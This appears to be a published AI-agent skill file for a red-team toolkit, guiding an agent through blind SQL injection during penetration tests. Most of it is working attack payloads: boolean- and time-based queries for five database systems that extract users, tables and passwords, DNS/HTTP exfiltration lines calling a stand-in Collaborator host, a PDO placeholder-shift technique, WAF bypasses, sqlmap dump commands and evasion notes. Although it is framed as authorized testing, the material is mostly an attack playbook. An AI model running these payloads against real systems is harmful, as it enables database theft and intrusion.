Agent skill
sql-injection-blind
Guide blind SQL injection exploitation (boolean-based, time-based, and out-of-band) during authorized penetration testing.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/sql-injection-blind
SKILL.md
Blind SQL Injection
You are helping a penetration tester exploit blind SQL injection. The target application does not display query results or error messages, so data must be extracted indirectly — through boolean conditions, time delays, or out-of-band channels. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[sql-injection-blind] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see web-discovery)
- No query output rendered in the response (otherwise use sql-injection-union)
- No verbose errors displayed (otherwise use sql-injection-error)
- For boolean: a detectable difference between true and false conditions
- For time-based: stable enough network to detect deliberate delays
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine:
- Injection point — URL, parameter name, request method
- Response behavior — how does the app respond to valid vs invalid input?
- DBMS — if known from other testing
Skip if context was already provided.
Step 2: Confirm Blind Technique
Boolean-Based
Inject conditions that produce different responses:
' AND 1=1--+ -- TRUE — page renders normally
' AND 1=2--+ -- FALSE — page changes (missing content, error, redirect)
Compare: response body, Content-Length, status code, specific elements.
Time-Based
Inject a sleep function and measure response delay:
' AND SLEEP(5)--+ -- MySQL
'; WAITFOR DELAY '0:0:5'--+ -- MSSQL
' AND 1=(SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--+ -- PostgreSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--+ -- Oracle
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))--+ -- SQLite
Step 3: Extract Data — Boolean-Based
Pattern: ask "is the Nth character of [data] equal to X?" via binary search.
MySQL
-- Check length first
' AND LENGTH(user())=N--+
-- Binary search character extraction
' AND ASCII(SUBSTRING(user(),1,1))>78--+ -- Is char > 'N'?
' AND ASCII(SUBSTRING(user(),1,1))>90--+ -- Is char > 'Z'?
' AND ASCII(SUBSTRING(user(),1,1))=114--+ -- Is char 'r'?
-- Extract database name
' AND ASCII(SUBSTRING(database(),1,1))>78--+
-- Count tables
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=N--+
-- Extract table name char by char
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78--+
-- Extract column name
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE' LIMIT 0,1),1,1))>78--+
-- Extract data
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78--+
Alternatives when ASCII/SUBSTRING are blocked:
' AND (SELECT user()) LIKE 'r%'--+ -- LIKE
' AND (SELECT user()) REGEXP '^r'--+ -- REGEXP
' AND MID(user(),1,1)='r'--+ -- MID (alias for SUBSTRING)
MSSQL
' AND ASCII(SUBSTRING(SYSTEM_USER,1,1))>78--+
' AND ASCII(SUBSTRING(DB_NAME(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases)),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>78--+
PostgreSQL
' AND ASCII(SUBSTRING(current_user,1,1))>78--+
' AND ASCII(SUBSTRING(current_database(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78--+
Oracle
-- Oracle uses SUBSTR instead of SUBSTRING
' AND ASCII(SUBSTR((SELECT user FROM dual),1,1))>78--+
' AND ASCII(SUBSTR((SELECT table_name FROM user_tables WHERE ROWNUM=1),1,1))>78--+
' AND ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>78--+
SQLite
' AND UNICODE(SUBSTR(sqlite_version(),1,1))>50--+
' AND UNICODE(SUBSTR((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>78--+
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>78--+
Step 4: Extract Data — Time-Based
Same character-by-character approach, using response delay instead of content differences.
MySQL
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING(database(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78,SLEEP(2),0)--+
BENCHMARK alternative:
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,BENCHMARK(10000000,SHA1('test')),0)--+
MSSQL
'; IF(ASCII(SUBSTRING(DB_NAME(),1,1))>78) WAITFOR DELAY '0:0:2'--+
'; IF (SELECT ASCII(SUBSTRING(SYSTEM_USER,1,1)))>78 WAITFOR DELAY '0:0:2'--+
PostgreSQL
' AND 1=(SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>78 THEN pg_sleep(2) ELSE pg_sleep(0) END)--+
' AND 1=(SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78 THEN pg_sleep(2) ELSE pg_sleep(0) END)--+
Oracle
' AND 1=(SELECT CASE WHEN ASCII(SUBSTR(user,1,1))>78 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',2) ELSE 0 END FROM dual)--+
Step 5: Extract Data — Out-of-Band (OOB)
When neither boolean nor time-based is reliable, exfiltrate via DNS or HTTP callbacks. Requires external infrastructure (Burp Collaborator, interactsh, or custom DNS).
MySQL (requires FILE privilege)
' AND LOAD_FILE(CONCAT('\\\\',user(),'.COLLABORATOR.oastify.com\\share'))--+
MSSQL
'; EXEC master..xp_dirtree '\\'+SYSTEM_USER+'.COLLABORATOR.oastify.com\share'--+
PostgreSQL
'; COPY (SELECT current_user) TO PROGRAM 'nslookup '||current_user||'.COLLABORATOR.oastify.com'--+
Oracle
' AND 1=UTL_HTTP.REQUEST('http://'||(SELECT user FROM dual)||'.COLLABORATOR.oastify.com/')--+
Step 6: PDO Emulated Prepares — Identifier-Position Injection
When the injection point is in an identifier position (column name, table name, ORDER BY target) and the application uses PHP PDO with emulated prepares (the default), standard blind SQLi techniques may not apply. PDO's query parser does not understand backtick-quoted identifiers, creating exploitable mismatches between what PDO considers a placeholder and what MySQL executes.
Detection
Signs that you're dealing with identifier-position injection:
- User input controls a column name, sort field, or table name
- The application wraps the value in backticks:
`user_input` - Standard
' OR 1=1--payloads have no effect (not in a string context) - sqlmap returns "parameter does not appear to be injectable"
- Source code shows PDO
prepare()with variable interpolation in identifier positions (not in WHERE value positions)
PDO Parser Mismatch
PDO's emulated prepare mode (default when ATTR_EMULATE_PREPARES is not
explicitly set to false) performs client-side placeholder substitution. The
parser scans the query string for ? markers, but does not understand
MySQL's backtick quoting context. This means:
SELECT `?` FROM t WHERE id = ?— PDO sees TWO placeholders- MySQL sees ONE placeholder (the backtick-wrapped
?is an identifier literal) - If the application binds N values but PDO counts N+1 placeholders, the bound values shift — a value intended for a WHERE clause may land in the SELECT column list or vice versa
Exploitation Pattern
When user input controls an identifier that gets backtick-wrapped, and a
subsequent bound parameter (e.g., user_id) contains user-controlled data:
- Inject a
?inside the identifier — use\?or other forms that survive input sanitization but produce a literal?after backtick stripping - Comment out the original placeholder —
--after the identifier silences the real?in the WHERE clause - The next bound value shifts into the identifier position — if that
value is user-controlled (e.g., via IDOR on a
user_idparameter), it becomes a SQL injection point in the SELECT column list
MySQL Identifier Context
Once a value is shifted into the column position of a SELECT query:
- Subqueries work:
(SELECT password FROM users LIMIT 1)returns data as the column value SLEEP()works for time-based confirmation- UPDATE via stacked queries (if PDO uses
PDO::MYSQL_ATTR_MULTI_STATEMENTSor the driver allows it)
Key Indicators to Report
If you suspect this class of vulnerability, report to the orchestrator:
- PDO usage with emulated prepares (default or explicit)
- Identifier-position user input with backtick wrapping
- Presence of user-controlled bound parameters that could shift
- Whether stacked queries are available
This is a niche technique — if standard blind SQLi fails on a PHP/PDO target
with identifier-position input, escalate to unknown-vector-analysis with
these details for deep analysis.
Step 7: Post-Exploitation
After extracting credentials or key data:
- Escalate technique — if found higher-privilege DB creds, try sql-injection-union or sql-injection-stacked
- File operations — check read/write capabilities for the confirmed DBMS
- Command execution — route to sql-injection-stacked
- Credential reuse — test against SSH, RDP, admin panels
Step 8: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
OPSEC Notes
- Blind SQLi is read-only — no database artifacts
- Boolean-based generates high request volume (detectable by rate monitors)
- Time-based queries appear in slow query logs
- OOB creates DNS queries to unusual subdomains (detectable by DNS monitoring)
- Defenders look for:
SLEEP,WAITFOR,pg_sleep,BENCHMARK,ASCII,SUBSTRINGpatterns
Troubleshooting
Boolean Responses Are Inconsistent
- Application may have dynamic content. Find a stable indicator:
- Specific HTML element present only on "true"
- Exact response size threshold
- Specific keyword in response
- In Burp Intruder, use "Grep - Match" to flag a specific string
Time-Based Is Unreliable
- Increase delay:
SLEEP(5)instead ofSLEEP(2) - Use multiple samples per character and take the median
- Switch to boolean-based if any detectable content difference exists
- Consider OOB if callback infrastructure is available
WAF Blocking SLEEP/BENCHMARK
-- MySQL: heavy query instead of SLEEP
' AND IF(1=1,(SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),0)--+
-- MSSQL: stacked WAITFOR
' AND 1=1 WAITFOR DELAY '0:0:5'--+
Filter Bypass — Blocked Keywords
MID(str,pos,len) -- MySQL (alias for SUBSTRING)
SUBSTR(str,pos,len) -- All DBs
RIGHT(LEFT(str,pos),1) -- Most DBs
Automated Extraction with sqlmap
# Boolean-based only
sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --dbs
# Time-based only
sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --dbs
# Both blind techniques
sqlmap -u "https://TARGET/page?id=1" --batch --technique=BT --dbs
# Increase time-based delay for unreliable networks
sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --time-sec=5 --dbs
# Increase threads for faster boolean extraction
sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --threads=8 --dbs
# From Burp request file
sqlmap -r request.txt --batch --technique=BT -p "id" --dbs
# Dump data
sqlmap -r request.txt --batch --technique=BT -D TARGET_DB -T TARGET_TABLE --dump
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?